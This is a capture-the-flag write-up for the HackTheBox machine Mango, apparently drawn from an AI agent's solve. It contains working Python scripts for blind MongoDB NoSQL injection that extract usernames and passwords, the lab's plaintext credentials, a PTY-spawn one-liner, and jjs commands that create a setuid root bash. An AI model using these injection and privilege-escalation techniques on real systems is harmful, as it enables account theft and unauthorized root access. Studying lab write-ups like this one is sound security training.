HTB: Mango Writeup
Mango - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Mango |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.162 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Mango is a medium-difficulty Linux box that demonstrates real-world NoSQL injection vulnerabilities in MongoDB-backed web applications. The machine requires careful enumeration to identify the correct virtual host serving the vulnerable login form, followed by blind NoSQL injection to extract credentials. Initial access is gained via SSH, with lateral movement to another user through credential reuse. Privilege escalation leverages a SUID-enabled Java scripting binary to achieve root access.
TL;DR: Virtual host enumeration → NoSQL (MongoDB) blind injection for credential extraction → SSH as mango → lateral movement to admin via su → SUID jjs exploitation → root shell
Reconnaissance
Port Scanning
# Full TCP port scannmap -sC -sV -T4 -p- 10.10.10.162Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.380/tcp open http Apache httpd 2.4.29443/tcp open ssl/http Apache httpd 2.4.29Service Enumeration
SSL Certificate Analysis
The TLS certificate on port 443 revealed an important piece of information:
# Examine SSL certificateopenssl s_client -connect 10.10.10.162:443 | openssl x509 -noout -textThe certificate’s Common Name (CN) was staging-order.mango.htb, indicating the presence of virtual hosts. Two hostnames were added to /etc/hosts:
echo "10.10.10.162 mango.htb staging-order.mango.htb" >> /etc/hostsVirtual Host Enumeration
This was the critical enumeration step. Testing revealed:
- Port 443 (all vhosts): Served a “Search Base” decoy page that accepted but ignored login parameters
- Port 80 / mango.htb: Returned HTTP 403 Forbidden
- Port 80 / staging-order.mango.htb: Hosted the actual login application
# Test different vhost/port combinationscurl -I http://mango.htb/# 403 Forbidden
curl -I http://staging-order.mango.htb/# 200 OK - login page found
curl -I https://staging-order.mango.htb/# 200 OK - decoy search page (identical to mango.htb:443)The real vulnerability existed only at http://staging-order.mango.htb/ on port 80.
Vulnerability Assessment
The login form at http://staging-order.mango.htb/ was found to be vulnerable to:
- NoSQL Injection (MongoDB): The application used MongoDB as its backend database and failed to properly sanitize user input, allowing injection of MongoDB query operators through PHP’s array syntax
- Blind Boolean-Based Injection: The application’s response codes (302 for success, 200 for failure) provided an oracle for extracting data character by character
Initial Foothold
NoSQL Injection Exploitation
Understanding the Vulnerability
MongoDB uses JSON-like query syntax. A typical authentication query looks like:
db.users.find({ username: "admin", password: "password123" });PHP’s bracket notation (username[$ne]) converts parameters into arrays, which MongoDB drivers interpret as query operators. The $ne (not equal) operator can bypass authentication:
db.users.find({ username: "admin", password: { $ne: "admin" } });// Returns true if password != "admin"Identifying the Oracle
Testing revealed the injection oracle:
# Failed login - returns 200 OKcurl -X POST http://staging-order.mango.htb/ \ -d "username=admin&password=wrong&login=login" \ -L -s -o /dev/null -w "%{http_code}\n"# Output: 200
# Successful injection - returns 302 redirectcurl -X POST http://staging-order.mango.htb/ \ -d "username=admin&password[\$ne]=admin&login=login" \ -L -s -o /dev/null -w "%{http_code}\n"# Output: 302Key insight: HTTP status code 302 (redirect to home.php) = successful authentication; HTTP 200 = failed authentication. Response body sizes were identical, making status codes the only reliable signal.
Username Enumeration
Using the $regex operator to enumerate usernames:
#!/usr/bin/env python3# username_enum.py - Discover usernames via regex injection
import requestsfrom string import ascii_lowercase
url = 'http://staging-order.mango.htb/'
# Find valid starting charactersfor char in ascii_lowercase: data = { 'username[$regex]': f'^{char}.*', 'password[$ne]': 'invalid', 'login': 'login' } r = requests.post(url, data=data, allow_redirects=False) if r.status_code == 302: print(f"[+] Found username starting with: {char}")This identified usernames starting with a and m. Further refinement extracted complete usernames:
# Full username extractiondef extract_username(starting_char, valid_chars): username = starting_char while True: found_char = None for char in valid_chars: data = { 'username[$regex]': f'^{username}{char}.*', 'password[$ne]': 'invalid', 'login': 'login' } r = requests.post(url, data=data, allow_redirects=False) if r.status_code == 302: username += char found_char = char break if not found_char: return username
# Extract both usernamesvalid_chars = ['a', 'd', 'g', 'i', 'm', 'n', 'o']admin_user = extract_username('a', valid_chars) # adminmango_user = extract_username('m', valid_chars) # mangoUsernames discovered: admin and mango
Password Extraction
Passwords required an expanded character set beyond lowercase letters. The agent’s solve noted that passwords contained special characters including ~, {, }, #, !, and >:
#!/usr/bin/env python3# password_extract.py - Extract passwords character by character
import requestsimport string
url = 'http://staging-order.mango.htb/'
# Expanded charset including special characters# Regex special chars need escaping: ^ $ | \ .printable_chars = string.printable.replace('\n', '').replace('\r', '').replace('\t', '').replace(' ', '')
def escape_regex_chars(char): """Escape characters with special meaning in regex""" special = ['^', '$', '|', '\\', '.', '[', ']', '(', ')', '*', '+', '?', '{', '}'] if char in special: return '\\' + char return char
def extract_password(username): password = '' while True: found_char = None for char in printable_chars: escaped_char = escape_regex_chars(char) escaped_password = ''.join(escape_regex_chars(c) for c in password)
data = { 'username': username, 'password[$regex]': f'^{escaped_password}{escaped_char}.*', 'login': 'login' } r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302: password += char print(f"[+] Password so far: {password}") found_char = char break
if not found_char: return password
# Extract passwordsmango_password = extract_password('mango') # h3mXK8RhU~f{]f5Hadmin_password = extract_password('admin') # t9KcS3>!0B#2Credentials extracted:
mango : h3mXK8RhU~f{]f5Hadmin : t9KcS3>!0B#2
SSH Access
# Authenticate as mangossh mango@10.10.10.162# Password: h3mXK8RhU~f{]f5H
mango@mango:~$ iduid=1000(mango) gid=1000(mango) groups=1000(mango)Foothold established as user mango.
Privilege Escalation
Lateral Movement: mango → admin
The user flag was located in /home/admin/user.txt, inaccessible to the mango user:
mango@mango:~$ ls -la /home/admin/user.txt-r-------- 1 admin admin 33 Apr 14 2020 /home/admin/user.txtSwitching to admin User
The extracted admin credentials could be used via su:
mango@mango:~$ su adminPassword: t9KcS3>!0B#2Note: The agent’s solve mentioned needing a PTY for the su command to work properly in their environment. If running through a non-interactive shell, a PTY can be spawned using:
# If needed for non-interactive shellspython3 -c 'import pty; pty.spawn("/bin/bash")'After successful lateral movement:
admin@mango:~$ iduid=4000000000(admin) gid=1001(admin) groups=1001(admin)
admin@mango:~$ cat user.txt<redacted>User flag captured.
Privilege Escalation: admin → root
SUID Binary Discovery
# Search for SUID binariesadmin@mango:~$ find / -perm -4000 -type f 2>/dev/null/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/bin/gpasswd/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/newgrp/usr/bin/at/usr/bin/sudo/bin/fusermount/bin/mount/bin/ping/bin/su/bin/umountThe binary /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs stood out as unusual. This is the Nashorn JavaScript engine for Java.
Exploiting SUID jjs (GTFOBins)
According to GTFOBins, jjs can execute arbitrary commands when run with SUID privileges. The key is that SUID binaries retain their effective UID (root in this case).
Why this works:
jjsis a Java-based scripting engine that can call Java’sRuntime.exec()- When a binary has the SUID bit set and is owned by root, it runs with euid=0 (effective root privileges)
- Java’s security model respects the process’s effective UID, allowing privileged operations
The agent used Java NIO to read files directly:
admin@mango:~$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjsjjs> Java.type('java.nio.file.Files').readAllLines(Java.type('java.nio.file.Paths').get('/root/root.txt')).toArray()[<redacted>]Alternative root shell method (from GTFOBins):
// Create a SUID shelljjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/bash /tmp/rootbash').waitFor()jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/rootbash').waitFor()jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod +x /tmp/rootbash').waitFor()Then execute the SUID bash shell:
admin@mango:~$ /tmp/rootbash -prootbash-4.4# iduid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
rootbash-4.4# cat /root/root.txt<redacted>Root flag captured.
Attack Chain Summary
Virtual Host Enumeration (staging-order.mango.htb:80)→ NoSQL Injection via $regex (blind boolean-based)→ Username Enumeration (admin, mango)→ Password Extraction (char-by-char with special chars)→ SSH as mango (h3mXK8RhU~f{]f5H)→ Lateral Movement to admin (t9KcS3>!0B#2)→ SUID jjs Exploitation (GTFOBins)→ Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
openssl | SSL certificate analysis for vhost discovery |
curl | HTTP request testing and vhost validation |
python3 | Custom NoSQL injection scripts for credential extraction |
ssh | Remote access after credential discovery |
jjs | SUID Java scripting engine exploited for privilege escalation |
Key Learnings
Techniques Practiced
- Virtual host enumeration: Testing multiple hostname/port combinations to find hidden services
- NoSQL injection in MongoDB: Leveraging MongoDB query operators (
$ne,$regex) through PHP array syntax - Blind boolean-based injection: Using HTTP status codes as an oracle for data exfiltration
- Regex-based data extraction: Character-by-character enumeration with proper escaping of special characters
- Lateral movement: Credential reuse across different user accounts
- SUID binary exploitation: Leveraging GTFOBins techniques for privilege escalation via scripting engines
Lessons Learned
-
Complete enumeration is critical: The actual vulnerable service (staging-order.mango.htb:80) was easily overlooked. Port 443 served identical-looking decoy pages across all vhosts, making thorough vhost/port combination testing essential.
-
NoSQL injection syntax varies by language: PHP’s bracket notation (
parameter[$operator]) automatically creates arrays that MongoDB drivers interpret as query operators. This differs from traditional SQL injection and requires understanding of both the application language and the database query language. -
Character set matters in blind injection: Initial attempts with only lowercase letters failed. Passwords containing special characters (
~{}#!>) required an expanded character set and proper regex escaping to extract successfully. -
Oracle identification is key to blind injection: When response bodies are identical, alternative signals (status codes, timing, header differences) become critical for data exfiltration.
-
SUID binaries with scripting capabilities are dangerous: Any SUID binary that can execute arbitrary code (scripting engines, compilers, interpreters) can be leveraged for privilege escalation. The
jjsJavaScript/Java engine retained effective root privileges, allowing file reads and command execution. -
GTFOBins is an essential reference: Many SUID binaries have documented exploitation techniques. Always check GTFOBins when unusual SUID binaries are discovered.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup for Mango (Document No D20.100.70) by MinatoTW
- GTFOBins: https://gtfobins.github.io/gtfobins/jjs/